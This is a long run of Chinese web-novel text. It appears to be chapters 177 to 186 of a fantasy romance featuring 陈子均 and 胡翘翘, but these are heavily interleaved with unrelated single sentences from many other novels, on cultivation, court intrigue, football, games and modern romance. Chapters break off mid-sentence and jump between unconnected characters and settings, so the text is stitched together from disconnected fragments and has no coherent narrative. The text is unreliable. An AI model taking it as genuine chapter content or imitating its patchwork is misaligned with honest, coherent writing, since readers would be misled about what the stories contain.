他目光一扫,正好见到旁边有一本酒店的宣传册。 轻轻一抬手,宣传册便飞到了他的手中,在她面前翻开。 “我先和你说普通 他们此时的速度,刚好卡在良介和砂佑的极限,还没达到中忍的速度,但也没低过下忍的速度。 所有的记者在看到了布鲁斯之后就像看到了偶像一般,疯狂地高喊着。 如果非要在领主和神灵之间选一个,那绝大多数子民还是会选择神灵。 或许下一本,就要按照所谓的“商业规则”,去写一些不是很喜欢写的东西了。 刀刃长约四十厘米,刀身约有二指宽,呈亮银色,刀柄刚好能容下他的双手。 赵铭撑个懒腰,打个哈欠,从戒指中拿出一碗碗的佐料,又搬出一口大黑锅,将各种食材纷纷倒入。 赵阳的目光再度看向农田中,那些孩子拿着他给的碎银子纷纷找到自己的父母,那些百姓们看向赵阳,顿时受宠若惊,对于赵阳感恩戴德。 王欣然也说道,现在,王欣然以果汁带酒,代替这个白酒,现在,王欣然也很少喝白酒了。 谁村子里还没个间谍呢!只要金钱能勾起某些人心中的欲望,有第一次,就有第二次与无数次。 这些人嘻嘻哈哈地走到校门前,一个个刷了学生证,先后走进了玉京大学。 叶宇一脚踏了进去,脸色微微一变,脚好像踏空了一般的感觉,身子微微一侧,手中的盘龙剑插在了门上,借着盘龙剑的这股力道一跃而起,低头一看,却发现下面分明是实力,自己怎么会踏空。 因为接近年关,天气严寒,此时下起了鹅毛大雪,偌大的演武场宛如批上了厚厚的一层白衣,银装素裹。 秋日芳菲,陶灼华启程在即,苏梓琴等不到对方的答复,已然坐立难安。 其实他口袋里还是有数百灵石的,可如今看楚晨这散财的随意态度,显然还远远不到极限。 看到欧阳天两眼无神,张麻喊了好几句都没有反映,直接一巴掌打在欧阳天的脸上。 就算是不商量,墨衣也想避免和花妖单独相处,能去张昊天的房间里对付一下,也是好的。 陶灼华喜茶,菖蒲素日在她身边服侍,手上烹茶的功夫已是一流。她麻利地往炉里添着散发重重香气的松枝,不消片刻便有焦香在院内氤氲,味道十分好闻。 临渊十分确定的说道:“既然守护之翼都出现了,看来传说也未必都是瞎编的!为什么不试一试?”临渊这句话显然是触动了风语的心弦,风语点了点头,脸上露出一种希冀之色。 他狠戾地咆哮了一声,直接就不管不顾地朝着周秉然等人冲了过来,周秉然见状,直接让蛮牛制住了他。 叶宇看着这漆黑的房间,仿佛如同一张张着大口等待着猎物进入的猛兽一般。想来这里面应该是布了什么阵法吧,叶宇心中暗自揣想,心中琢磨着该怎么办。 这边牢里于贵缘,把心里面的计划,正全都讲给玉灵听,另边从阳间回来,这坐轿中的凤儿,在仅剩的两天,也就是第五天。 此刻的皇宫内已坐满了人,分别是各军团的军头以及麾下的伍长。 第177章 吃饭最大 陈子均搂住了胡翘翘的腰,直接跃入裂缝之内。 “等等我!”混沌大叫,紧随他们之后,也跟着跳了进去。 这通道并非寻常意义上的“路”,更像是一个混沌未开的奇异空间,一片被压缩到极致的纯粹的虚无,让人难以描述,更难以理解。 巨大的压力从四面八方挤压而来,仿佛要将三人碾成虚无的一部分。 要是被街坊邻居看见她和一个男的鬼鬼祟祟关门,连生意都不做了。想想,白星雅就羞的不得了。 “我在你这里接受过治疗?!”筱瑶瞪大眼,张大嘴巴,俨然一副万万没想到的表情。 沈衍环顾房间四周,终于在这密封房间的正中央位置,见到了心心念念的筱瑶。 张枭蹑手蹑脚下楼,然后-进了路姿萌的房间,她此刻正在上网。 程长竟不服气的还想要再理论,程玉凤紧紧的拉住了他的胳膊,摇头示意他不要冲动。 酒过三巡,桌子上的酒瓶都尽数的空了下来,两个的脸颊上面也稍微带了一些红润。 这一次彼此的见面,主要为了的就是这个合约的事情,将事情谈完了之后,秦邈也不想继续留在这里,他也知道墨子柒同样不想留在这里。 “当然了,都是在一个镇子上,哪有同一个商品卖两个价钱的?”嘴上这样说,程玉凤的心里也未免有些担忧。 树上的张枭憋尿好久,现在终于可以放心排水,四下看看,没人,于是拉开了拉链。 说着,几个伙计赶上去把受伤的人抬到里面,他们走过的地方,留下一道鲜红的血迹。 “什么?为什么会害了苍渊?”莫北浩不解地问,这样不是更好吗? 战熊身上还骑着一个兽人,正是战熊部落里的祭祀。和高大的战熊相比,两米多高的祭祀就象一个孩童。 周宏伟面上红一阵白一阵的,喃喃地说:“不会有事吧?咦,我看这红包烧手,还是不要算了!”说着还上前一步,把桌上的红包像洗麻将牌似的转了一圈,然后一把推开。 在这样的情况下,人民币一直坚挺,不光在国内百姓们都使用,就是在国际上也开始慢慢崭露头角。要不是在南方国民党动用政府进行干涉的话,法币早就被淘汰了。 鲁雪华和刘玉梅相互对望了一眼,两朵红云顿时都飞上彼此的脸颊。 “不用管这些了,资料立刻销毁,暗组那里也必须销毁,不要留有备份谨防可趁之机!”首席的老人大手一挥,会议便到此结束。 李南眼中已有怒火,当即便擎出后腰的沙漠之鹰,对着身前那个魁梧汉子的眉心,便是一枪。 余晓丰本來陪着王鹏去是开车的,但见他后來喝得來者不拒,又知道他近來饭局不断,便上來帮他挡酒,结果俩人都是喝得大醉。 “锻造不就是为了打造武器吗?”孤雨这下疑惑的问道,锻造还能干嘛? 洛千寒看了眼千机,确认它没受伤,这次划破虚空也没有出现灵力耗尽的状况,只是虚弱了一点。 郭成父子在旁边看得好迷茫,他们眼中的叶秋性格居然这么多变? “所以之后可能要难为嘉王朝了,不过这种事情陶叔肯定能处理好。”苏沐橙已经下去,叶修也没什么顾忌,掏出烟递给陶轩,两人就点起烟谈论起来。 强者再多,也是陨落一个少一个,炮灰再弱,也是杀之不尽屠之不绝。 第178章 我非人类 月光很明亮,像一面擦拭干净的银镜,清冷的光辉倾泻而下,笼罩天地。 陈子均和胡翘翘来到了郊外的一处无人空地。 随后,他从虚空中取出了一块巴掌大的黑土。 黑土上,一株雪白的莲花亭亭玉立,散发出柔和而圣洁的光晕,在它的两侧,还生长着三个白玉般的莲蓬,同样圣洁无暇、空灵玄奥。 “相公 “绿绮!”白袍修士一见那把古琴,脸上现出了一丝凝重,口中低语了一句。 兽灵?什么是兽灵?撒维耸耸肩,听都没听说过,还想让自己跳下去。 “李,李师死了?”邱心志似是回答他人的询问,也像是惊疑的反问。 作为后来与李承乾关系最好的兄弟,李恪眼看场面尴尬,低声劝说道。 “原来是李前辈,晚辈失礼了,请进请进!”守门的修士用神识扫过玉简,现时满脸惊讶地说道,随后身子一侧,把李嗣迎了进去。 这次是王栋几人,抬着一个长方形的东西,上边被红色丝绸覆盖,暂时还看不清到底是什么。 她早不想讨好皇祖母了,今日却是第一次顶撞,原本有些忐忑,一出口倒是半点不磕巴。 不过,后来被掌门勒令不准再靠近李长老的山峰,再加上李嗣的山峰本来就很是偏僻,所以慢慢的大家都不再靠近那一带了。 “那样的话,那是个不错的选择。”如果他能从这节课中吸取教训,努力改进。十年后,这将是一代精英,而他们的姐姐,也是一对。 顾遥与春生自然不晓得他的心思,总归是这一家说好了,再去下一家就是了。 虽然这个男人难以捉摸,但是他对梦琪的态度,还有眼神,不是假的。 一进入这里,首先映入宁江眼帘的,是一块辽阔无比的战台,这战台相当不凡,通体用坚硬金属打造而成,足以承受天武境级别的战斗。 “秦大哥,你别说笑了,门派内的前辈们一个个都宛如仙人之姿,我只是一个资质极差的外门弟子,他们怎么可能会求着我入内门??????”方怡的神情更加的失落。 林飞将李可泡在茶壶里龙井,倒在自己的茶杯里,慢慢品着,心情也不错。 顾风如今在岑家的地位可谓是十分尴尬,不但受到岑老爷的不喜和打压,还受到岑家上上下下人的怠慢。但为了不让顾筝担心,顾风一直把这些事隐瞒得严严实实,在顾筝面前只字未提。 圣旨一下,郑、岑两家原先的盘算全都被打‘乱’,太夫人之前做的努力也全都白费———如今无论郑太夫人心里是怎么想的,郑家接了圣旨后自是不敢抗旨,只能把自个儿心思统统撇开、照着旨意行事。 “那不打扰你们吗?”不是在睡觉吗?最好卖力点给她制造个孙子出来。 对于大蛇丸的想法,志村阳不知道,若是知道的话他肯定会说上一句,放心吧,以后你不光能研究这些,就连自己都差点变成白绝。 “好了!你们自己看。”诗瑶收回了手指,又是端起茶杯,喝了起来。 林薇薇有些无语,这就是你的魔术?虽然林薇薇不知道安达利这魔术是怎么变的,但是林薇薇也能弄得出来,谁让她是修真者呢? 虽然地下黑市幕后的老板,在扬江市颇为有一些能耐,但是他也不管将地下黑市弄到台面上来。 第179章 照顾好她 “嘿嘿,那家伙下手可真狠毒啊,不光将村中的人吃光了,连他们的魂魄都没放过,全吃了个干净,几乎没留下任何线索。”陈子均哂笑了一声,那声音,却是冷冷的。 又顿了顿,才继续道,“不过,我察觉到了村中残留的妖气,还有一些白色的狐毛……” 胡翘翘听得呆住了。 “白色的狐毛?哪儿来……”她的话 苏浅川心中也很感激李叔的宽容,至少,她还能见到尹承纵,并和他独处那么久。这对现在的她来说,视若珍宝。 “啧,果然不能抱有期待。”打开袋子之后,苍狼很是嫌弃的说着,然后把东西放入怀里。 “什么?”叫我无敌一愣,听着陈禾的声音,他忽然有了一种不好的预感。 虽然不满苏浅川留在这里,安怀瑾却也没办法,只能跺跺脚咬唇离开了。 接受到木子的眼神,苍狼顿时觉得肚子饿了,恨恨的拿过食物,低头就吃。 让颜雪更为好奇的是,以这萧猛的身份,也没有必要对她如此客气的,这人可是连家族子弟都不放在眼里的。 皇帝的眼睛慢慢挪到李约身上,他努力的想要说话,却发不出半点的声音,大多数人都以为他已经什么都不知晓,但是李约却知道他其实无比的清醒,每日都要承受那万蚁噬咬的痛楚,这就是生不如死的滋味儿。 凌云笑了笑说道,他的话可不是说给三位古巫听的,而是说给巫王听的。 已经整整一周了,在杜子规的悉心“照料”下,被倒吊着的男子,虽然伤痕累累,但似乎还能活很久。 看她有话不能说,也没有多做什么,自觉往何昕暖所在的地方走去,这件事情还是告诉何昕暖比较好,毕竟这是她的事情。 “不知道什么地方可以多了解一些这些记录大事?”李巧却是若有所思问道。 三十岁左右的年纪,元皇境二重,在历代圣子当中都算是翘楚了。 酒店里,苏蔓在自己的房间里,半躺在床上百无聊赖的翻看着只有两个频道的电视,打着哈欠。 九凌塔毕竟只是极品灵器,虽然不弱于半仙器,但毕竟还不是半仙器,蔡志雄担心九凌塔扛不住二品半仙境实力的蛟龙攻击。 待自己平静下来之后,陈峥嵘将自己知道的情况,转告给了凌志远。 这话是钱程的口头禅,没想到今天被凌志远抢了先,心中憋屈到了极点。 听到上官华的叫声,林妍急急忙忙的从厨房里面提着一把滚烫的茶壶跑了出来。 头部受伤虽然重要,但一般没有异常表现的话,应该没什么问题。 “大光,干工作切记要踏实,不要急于求成,稳字当头。”黄东来沉声道。 眼看尚武的魔爪就要碰到自己了,情急之下,蔡欣只好效仿裳儿,也是憋出一大口口水吐在了尚武脸上。 苏宁见管理员离开,现在自己又是自由时间,正好可以去其他地方观察一下。 但是七国统一这是必然趋势,这也是对天道的顺应,姚晨知道,随着时间的不断发展。 【巨巨花】一种肉食性花朵,杂食性植物,会结出十分甜美的巨巨果,但本体危险性很高,擅自碰触巨巨果就会被攻击。 但是现在萧幽玄才知道,顾尘不仅是智慧出众,就连其实力都是恐怖的空前绝后。 索尔颓然的靠树坐下,忽然间发现自己的裤裆一片温热,一股腥臭的气息传入鼻端,他居然尿了一裤子。 第180章 鸡吃亏步 等白狐妖们的身影消失在了夜色深处,胡翘翘的视线才终于收回。她眼圈还微红,整个人却轻松了不少。一直以来,未知的过去,如一块大石沉沉压在心头,今夜挪开,让她心中一松。两人没有用法术返回,而是十指相扣,沿着蜿蜒的小路,缓步朝着县城的方向走去。走了几步,胡翘翘一转念,忽然想起进得礼堂立定之后,十八位僧人齐齐高喝一声:“南无无量如是我佛,恭迎世尊,请我佛现身”。说完后双手合什,诵经不止,十八人身上涌现出一股金黄色的淡淡佛光,形如火焰,随着诵经之声渐渐的光芒大盛起来。阴冷的曼彻斯特,见证了穆里尼奥在英超仅有的失利——上赛季对曼城,本赛季对曼联。全部都被杀了!不,一定不可能,华夏怎么可能会有这种高手呢?谁能够有这么大的本事,把人全部都杀死呢?难道是他们派遣龙组成员出马了?可那些龙组成员一般不都是活跃在国外吗?狼族贵族学院的教学水平也是一流的,不论是硬件设备还是授课老师,都是顶尖的。城内中心位置就是军官们居住区,包括了杨波的官衙也在这里,三个营的营房则是规划在另一边,还特意空出了一大片地方用来做校场,附近什么戏场,庙宇,教堂,卫生院都还躺在规划图纸上,不知道几时能建成。“大哥,你真的能保护我吗?”胡三听到林天说了今晚的计划,现在还有些胆颤心惊,要是林天他们保护不力,他可就死翘翘了。月璃想了想,踮起脚尖,烙下轻轻一吻,没想到世勋却突然扣住她的后脑勺。一阵急促的鸣锣声,李惟鸾一挥手,明军开始缓慢的朝后退却,鞑子一面紧急清理城墙上的阻碍,一面朝下方大喊,让云梯上的人赶紧上来支援。在外面胡乱的吃了些东西,找了家手机专卖店买了个最老款的诺基亚古董机,随便的挑了一张卡,充了一百块钱,一起不过花了四百五十大元。当然了,弗格森现在更加关心的是琼克的伤势。因为,从医院里反馈过来的消息。克里斯蒂亚诺罗纳尔多的伤势还算乐观,只是一点点外伤,需要休息两周左右的时间,而琼克的伤势现在还没有一个结论。“就凭你们,还不够格。”王晨用比那人更冷十倍的声音回到道,顿时周边的温度受到王晨的影响,立马降低了数十度,那五人身体也情不自禁的颤抖了数下。往事缤纷,如春日的杏花微雨,洒在心田上。严绾静静地伫立着,那些过去的事,却已经不堪回忆。徐达见此,眉头微皱,不禁暗道:这么瘦弱,难道这就是我的对手吗?这句话后,众人一片沉默,旋即轰的散了,纷纷向自己的主家报告这个消息去了,这要是真的,那可是件大事。一直以来,她总是觉得自己的成功,只是盗用了前世设计师的设计理念。虽然有自己的创新在里面,却仍是带着两分心虚。“这怎么可能,这不是真的。”巴乎此刻还是不敢相信刚才的那一幕。丁柯满怀信心而来谁知到了客栈却扑了个空。直等到天‘色’渐晚也不见人回。无法只得第二日再来。至于东方雪对于这个则是认为王晨在吹牛了,他就算在厉害也不可能比轩辕家厉害,恐怕就连仙界的仙帝也不敢答话说自己比轩辕天手持轩辕剑要厉害,虽然不信,但东方雪也没有说出来。 第181章 小醋坛子 陈子均这次前来,是为了查看兰若寺的阵法,若有缺损,便进行修复,然后再加固完善,防止黑山老妖如之前一样,有可能借助极阴之日和人类精气,破阵而出。 因为这一番工作可能需要不短的时间,他便让胡翘翘先去禅房休息。 聂小倩急忙出声道,“恩公,让我陪您前去吧,没人比我更熟悉这兰若寺了,对这阵法我也了 最多的,便就是拖家带口的一户,人人的脸上,都是洋溢出笑容。 此次巫阳在其中掺入了大量的火属性神材,毕竟巫彭就是火焰血脉的巫族,只有火焰属性的巫宝才能把他的战斗力全部发挥出来。 今天得亏自己的反应迅速,否则的话,只怕性命就交代在了这里。 “人家是送给你的吧。”马金明看着包装花花绿绿的零食,忍不住拆开一袋可比克,从里面夹出几片薄薄的薯片,放进嘴巴里,香甜干脆,美味至极。 没等李贤享受完,身体又被拽进熊楠怀里,虽然没有袁子仪的宏伟,但是软硬适中,也别有一番味道。 阿哈德的意思很简单,想要得到人和物,要么拿圣杯来换,要么玉石俱焚,大家都别想好过。 再加上其他部落中可没有巫阳这样的人才,所以他们想要建立起有规模的锻造队伍将会更难。 脚上的高跟鞋也被挣扎掉了,脚后跟在石灰地面上来回摩擦,惊恐和屈辱感让眼泪决堤一般涌出。 唐北薇低着头,陷入了思忖中,过了一会,在她一旁的许凡心中不悦了起来。 涂山晶晶彻底崩溃,瘫在地上无力喘息,浑身一点力气都没有了。 总之,它们就那样的存在着,存在于这雨夜里,存在于这天地之间。 “你不回避吗?”只听司徒允潇说道,虽然没有指名道姓,但谁都知道这是对龙阎说的。 每日每夜,总有百姓家恰逢喜事,烟花在天际炸开了五彩的花瓣,给原本单调的黑夜抹上了一份无与伦比的色彩,也给壮观增添了一份难以言喻的美。 说不好奇是不可能的,楚笑晨也想知道,他会送什么礼物给自己。 东皇嫣听了林川的话才高兴起来,蹦蹦跳跳的走了出去,看着她姣好的背影,林川脑海中不由自主的想起了师尊的话,让他心中重重一跳,急忙摇摇头,随后心无旁骛的参悟战阵起来。 诸多神族弟子长老则是面色微微变化,虽然是看见天玄道宗,但相距还有数十万里,而林川的声音就像是在耳边说的一样,每一位修者所听到的感受都是如此,可以想象修为是真正的深不可测。 “你是我爱的人,我怎会不帮你呢?只是,若将此物掩埋在宫中,以后难免被人发现,等于说,今天就给日后埋下了祸端!”赵欢神情凝重的说道。 等着倪叶心脱了裤子,准备一举上了慕容长情的时候,慕容长情才突然将人压了下去,然后倪叶心就开始哭爹喊娘的了。 “不敢什么?算了,跟你这样一本正经的人也没什么好说了,多谢你这些天还想着我,你回去休息休息吧,明天我们再见。”莫燃说道。 夹着被子,随在管教身后向二道门走去。里面传出噼里扑隆的响动,有人喊着“坐好、都他妈坐好!”。 他说完再次叩头:“淑沅所为都是孙儿所教,祖母要责罚……”他开口直接就把事情揽到自己身上,把淑沅放到他的身后保护起来。 第182章 姑娘救我 月黑风高,山路崎岖。 山林中,不时响起夜枭拉长的凄厉啼鸣,像一只老猫在死前挣扎的惨叫。 孙玉梅慌不择路,她也没有路可以选择,因为这里对她来说就是一片陌生。 好在月光虽然微弱,却还勉强有一两分照度,让她不至于一脚踩空滚下山。 她逃走得匆忙,没有穿鞋,只能赤着脚。 她那双一 我确实没有想到,内奸居然是大家公认最不可能的人——三太子。 不过林尘却不是这么想。自己想在突破到了开元境后期。凭借重拳神通的奥妙。那刘凡用丹药喂养的开元境后期武者,根本就不是他的对手。 我们一众人等,离开了芦屋家,又撇下了安倍家的那几位趋炎附势的违心人。一同勾肩搭背找了一个酒家庆贺。 “放心,对方定不会在下一争夺阶段有所行动的,相信我。”甄时峰淡淡回道。 说罢,大手一挥,几位大汉不知从哪里摸出来了西瓜刀棒球棒之类的利器,拿在手上气势汹汹的盯着我们。 银色的刀光在他的瞳孔中越来越大,他已经不敢奢望自己能创造出什么奇迹,就算是激发了上帝禁区,他依旧无法战胜那一股天地意志,他与高级源能者之间有着一股难以逾越的鸿沟。 血影回身一转,趁对方还处在下坠的过程,随即由雾气中弹射出了三四根锋利的铁杵,当场便将新郎给死死地钉在了墙上,更为可笑的是,其中的一根恰好射中了他的‘老二’,惨叫声响起。 万象剑宗上下开始动手,一具具同门尸体飞到面前,然后化成了骨灰。 也不等袁渊说话,用勺子搅了搅盛放羹汤的青瓷盅,旁若无人自顾自地的品尝起来。 难不成那些鬼子变成了厉鬼或者粽子活过来,要找八路军索命吧? “那你说这金盒子我们开不开?关键是想要将盒子打开,必须要将贴在盒子上的封条给拆开。”我有些迟疑不定。 盾牌发出叮叮当当的声响,杨建功敢打赌那上面至少插了有五根以上。 没过太长的时间就有消息传了回来,这消息让岳托暴跳如雷,派出去的夜不收非但没有打探到消息,还被人杀死了两个。 然而,就拿辛岚刚才的表现,无疑是让人心动的弟子,金丹境巅峰强者,竟然能打伤三个金丹境大圆满强者,可见辛岚的天赋之强。 不一会,就有人推着膳食车开了门进来,这种车还有一个可以折叠起来的边桌,收起边桌,就是一辆餐车,立起边桌,就能够作为一张临时的桌子,持别方便病人使用。 然而,就在这一刻,摆放在最显眼的那块墓碑,蓦然间变大了许多,上面的大字深沉了许多,不过这些,并没有人注意到。 “你就不问我叫什么?”我觉得奇怪,难道我这么帅气你就一点也不好奇? 因为需要用身后那棵树所拥有的生命之力来中和自己体内的负能量,莉法儿持续依偎在树根下已经有数十、近百年了,在这些年里,她与树也早有了种“共生”的默契。 并没有等待多久,当地面上的草丛彻底被扭曲成为血红色的草丛之后,半空之中的翡翠梦境传送门终于打开了。 而正当他兴奋的时候,却听到前方斯沃特的呼喊声,随后便一脸疑惑的望向对方,这才有了方才的一幕。 第183章 乖乖去死 孙玉梅很惊讶,这牛车的速度,比她过去坐的牛车不知要快上多少倍,这样下去,还真能在天黑之前,赶到徐州城。 她又看了一眼老牛,它四蹄如飞,迅若奔马,偏生又将车拉得稳稳当当,心中不禁慨叹。 果然,连仙师用来拉车的牛,都非同寻常。 一路上,胡翘翘见孙玉梅局促拘谨,便时不时地找她聊天说话。 林清炫看到谢春心思一动,就想让荷花拜入谢长老的门下,这样回到学院荷花也能接受更好的教育。 “你们镇上有卖草药种子的吗?”冯晓晓也不矫情,接过银行卡,继续要做的事情。 “阿姨你不用慌,我这人最擅长讲道理了,我出去和他们讲道理,你和柳青在屋里好好聊聊天,我呆会就进来!”肖云飞笑着说道,完全不将外面的那些人放在眼里,这山沟沟里能出什么高手来? 几人都应了声,这五人是精明强干的人,不禁杀人手段高明,处理事物的办事能力也是佼佼者,说得通俗点就是既会管理公司又有高端技术的人才。 然而,自开战以来,伏羲与众将这才感到火龙等人并非平庸之辈,个个本领了得。 “三少奶奶这是什么意思?”离珠吓了一跳,忙用手帕将佟霜打湿的地方盖住。 不过别人笑脸相迎,墨凡也不能不给这个于家主面子,何况,管它于家有什么阴谋,自己用不了多久就去琼华了。 肖云飞愣了下,柳青这话是什么意思,两人同‘床’共枕?真的是这样吗?可是自己在接柳青的妈妈回龙海后,自己就离开龙海了,这风流债还是免了吧? 就是因为有着这么多璀璨辉煌的种族,洪荒大世界才会经久不衰。 乌恩果然知道荒古遗尘,不过按照他地说法,这个系列的武器现在也只是一种构想,还是奈恩提出来的,需要在彻底打败安徒恩,获得了它的灵魂碎片之后才能成型。 或者,那个老者本身也不想再一次把那一条街的人闹到风口。再说了,要是更深层次的说起来,他们家的悲哀也是那个时代的悲哀。 更别说在天界军战斗的时候他们还各种不配合,拖了前方将士的后退,这种行为已经可以称得上是叛国了。 仿佛刚刚经历的根本不是打斗,而是在做运动,他连一根头发都没有乱。 就在她忍不住想要开口询问乔恩这是怎么一回事的时候,拾柴木偶的脑袋开口了。 这婆娘明显只是想要钱,如果继续等着李狗蛋和她扯下去的话,恐怕天都要黑了。 秩序树中令她印象最深刻的就是局长艾琳以及孤身一人解决了上一次危机的科林了,而对于乔恩的印象南希说实在除了第一次见面时对方那毫不客气近乎于训斥让她有些害怕外,就没有其他印象了。 这巷子就像进林海琼家附近的巷子一般里面虽然没有乱七八糟居民的摆设,但是货车是肯定进不去,但是她又不知道这里的路况,恐怕真的要跟丢了。 谁让龙雪实在是太美了,当初胡强第一次看到龙雪的时候,就被深深的迷住了。 现在系统竟然给了一个万里飘香的辅助技能,让自己直播间的观众都能够闻到自己所做的美食味道,这简直好的不能再好了,霸道的不能再霸道了。 凤七七与君莫黎均是一愣,凤七七秀眉微微一蹙,不禁心中暗忖:这时唱的哪一出呢?之前还道怡红楼刺杀我,如今这般表现,定是有什么阴谋。 第184章 不如做狗 “若不杀了他们,怎么能保证此事不传出去?不光他们,今晚见到你回来的所有人,都会死,而且,这些条人命,全都是因你而死!”孙父从她的目光中看出了她的疑问,语气愈发冰冷狠厉了几分。 等掐死了这孽女,他再一把火烧了这府邸,伪装成家中失火,那些人都被火烧成焦炭,谁能判断出他们的死因? 到时候神不知 直到此刻,冯雪才终于认出,男子身上所穿的神甫风格服饰,可不就是灭却师的标配服装么? 对骷髅大军使用吞噬城市,一方面是冯雪被逼无奈,另一方面则是这些骷髅兵本就是不属于这个世界的存在,吞噬它们并不需要背负太多因果。 又是三天过去了,神谕细胞与亚当体细胞的融合实验终于终于进行到了第三阶段。 风水宝地找到了就可以开始钓鱼了,鱼竿鱼饵鱼鳔,一股脑扔进水里,然后杨毅盘腿坐在青石上开始发呆,眼睛虽然看着浮浮沉沉的鱼鳔却没有任何焦虑,与其说他想钓鱼,倒不如说他只是想找个安静的地方放松一下。 这个仇家,太恐怖了,无法无天,连十大世家的公子哥都敢杀,那杀起孙家的人,不就和杀鸡一样吗? 杨毅就不会有这种病,身体里藏着个系统哥,每天监视着杨毅的身体状况,上次的河豚毒素都被他给化解了,虽说比较麻烦,但是杨毅没有不良反应。 “我真的只是路过这里,我要去下无声谷副本,我的伙伴还在等我,只要你们让开,我立马就走。”云凌说道。 诸天顿时皱了皱眉,正想说什么,但是忽然身后一身法术爆发,他猛然转过身去。 他的新居舒服是舒服,但是太豪华了。如果公开的话,会引起热议的。 萨维塔已经从神速力当中出来,虽然是受伤颇重,但是能行能走,仍旧让众人放心不下。 毕业之前,三宝最初的想法是能进一家省级医疗机构最好了,真要不行,就进个市级医院也行。 “大人,你是真的要当青城的城主吗?”实在是受不了这种气氛的明空忍不住说道。 见自己儿子整天忙得昏天黑地。已被封为太后的贤妃也是心疼的不行,原本,想要跟他商议的,该如何面对纳兰雪的这事儿,也就一搁再搁。 她是心喜司马玉不假,但,却还没喜欢到,需要陪着他同生共死的地步。 巨龙长长的蛇身上没有任何翼翅,生有四脚,每个脚下都闪烁着一片白色云雾,硕大的麒麟头上面,二根青色的龙角足有半米高,双眼似铜铃。 其实,一剪梅是个挺猥琐的盗贼,我不是空口无凭,大家刚才一直看着他跟踪着一个57级的牧师犹豫着要不要下手,恐怕我和慕容姗姗晚到一步的话,那可怜的新手牧师就已经命丧毒手了。 “咻咻咻!”的射箭声,骑兵不断地发起了骑射,跟随关平的人是一个接着一个中箭倒地身亡。就连旗将也身中两箭,虽然没死可跑不动了,也扛不动旗了。关平看了他一眼,咬了下牙,便扛起帅旗撒腿就跑。 “根据消息还需要一个半月后才能够达到京城。”齐渊应道,却是事先做了准备的。 到处发生什么事了,竟让整个王宫都因笑而颤抖起来?他们不解,他们很疑惑,他们很想进去敲敲。只是可惜,他们还没到那个能迈进王宫的级别。 第185章 采花游戏 猝闻这么耸人的一句话,众人皆是一愣,就连陈子均喝粥的动作也僵住了,勺子悬在半空,险些脱手。邻桌的客人可没他的控制力好,此刻噗嗤一声喷出了嘴里的粥,这噗嗤声如能传染般,瞬间四处响起。这边儿胡翘翘也吃了一惊,一口肉火烧顿时卡在嗓子眼里,上不来也下不去,偏又怕惹来注意,不好意思咳嗽,憋得小“果然,君上和夫人的世界,我们是不懂的。”燕无殇也不由的感叹了一句,随后两人就跟上去。云澈起身,一言不发的将两截龙阙捡起,然后坐到墙角,默默的看着断裂的龙阙发愣。在皇宫,有哪个能逃离宫闱之争,虽此时自已为侍奴,但还是逃脱不了,离开一个旋涡,又踏进一个另一个,一个较一个更为复杂。左君临放开掐在圣王脖子间的手,慢慢的收回来,突然方向逆转,一掌拍在圣王胸口。看似轻轻的一掌,圣王却被轰出了数丈,一口鲜血喷出口,显然伤的不轻。“我倒是有一计!本初兄且听一听,如何?”眼见袁绍已入瓮,刘天浩不急不缓的道。陈老师抽出刀,又插了进去,再抽出来,再插进去,就这么机械式地重复,一刀刀把诸葛屏的肚子捅得稀烂。一个外表长着锯齿状叶子的,一碰非但,叶子不会羞赧地收缩回去,反倒会锯齿会更加坚硬锋利的来自外太空的伪含羞草。易怜跟儿子一起去探看情况反常的向向,至于公婆则是立刻去找郝柒娥算总账去了。再加上系统背包的位置有限,空间就代替背包成了她的贮藏间,只是一点也不显杂乱,反而是被系统收拾的井井有条的。想必另一路跟着童贯的安抚使,就显得非常吃力,基本上战战兢兢的过日子,往往都是童大人已经拿下了州城,还不见安抚使大人的影子。那位被称为少主的年轻人转过脸来低笑道:“我等此次潜入大都,一来为了查探大齐京城守备的虚实,二来是摸清路径,为将来做准备。因此要竭力隐匿身形,救人于危难只是举手之劳,又何必张扬呢?”。“不会没关系,现学都来得及……你就说你想不想过来吧??”武媚有些不耐烦的说到。罗罗们看了一眼杀气腾腾的黑衣领队,觉得何长老的话一点说服力都没有,可毕竟是长老的命令,只能硬着头皮冲上去。后世喝醉之后闹事的时候不少,很能体会六十度的二锅头下肚之后,嘴上就没个把门的。被烈酒沾染的太厉害,和这些米酒,就像是后世的农家人吃过饭之后的酒,里面的似乎带点甜味。“娘娘放心,有君上派来的‘侍’卫保护着,谅那些反贼也无可奈何。”笋嬷嬷连忙对宸玺娘娘安抚道。“可恶!如果是蒋将军在的话!怎么会这样让别人摆布!”提托愤怒的敲打着墙壁。“不行,光等援军不是办法,少爷在天欲都城里多呆一天就多一分危险!得想办法把少爷救出来,哪怕是搭上性命!”阿吉一边踱步一边说道。“是谁教你在这样的雪夜里同人表明心意的?”不知过了多久,身旁的人才发出了她所期待又忐忑的回应。晚间老太太果然命设宴堂中,荷风过来请时,外头正北风怒吼,阴云四布,不多时便飘飘的下起雪,玉龙飞舞,蔚为可观。 第186章 出马弟子 夜深人静,客栈中的客人尽皆熟睡,这一声大吼,顿时震动了整间客栈。 不少住客被惊醒,听到“采花贼子”、“出马弟子”几个字,看热闹的从来不嫌事大,都迅速无比地从房间里涌了出来。 “采花贼?” “在哪在哪?” 这些男女共有十来人,此刻都执着棍棒、铁索,散开四周,将贼子团团围住,尤其 按道理说,赵皓身为钦差,不应做微服私访这种危险的事情,但是他如今已晋升到一流高手行列,更重要的是有一堆的保命法宝,所以安全基本无虞。 最后三个字是北天堡主一字一顿说出来的,强大的杀气几乎都毫不掩饰,如果不是到了如今这种局面,他们可能这辈子都不会坐在一起面对同一个敌人,可这也不代表着他们真的是相亲相爱的一家人了。 最后,剩下的跪拜的学子,不管是否赞同赵皓的慷慨陈词,都不得不站立起来……前后左右的人都站起来了,中间夹杂着一两个跪拜的,显得就像傻逼一样。 朋友把我请去吃饭,吃了一盘胡萝卜丝,吃了一盘粉丝,还吃了一盘像橡皮一样难以嚼烂的肉。吃完了,我心感动,心中暗想,吃人一碗,要报一盆,点滴之恩,应该涌泉相报。 夏河十分清楚,一个道士,你要是不比他强的话,他是不会安心给你做事的。 “夜色已深,宣帅已休憩,概不见客。”领头的都管,连头都没抬,直接回绝道。 在上午的预赛排位中,王争邦的表现不好,他缀在了六十四名选手的末尾,结果第一轮淘汰赛就遇到了沈洋。 沈洋还在再说,被旁边保安请开了,他毕竟不是教练,不过保安对沈洋很客气,要是一般观众走过来,他们肯定直接拽走。 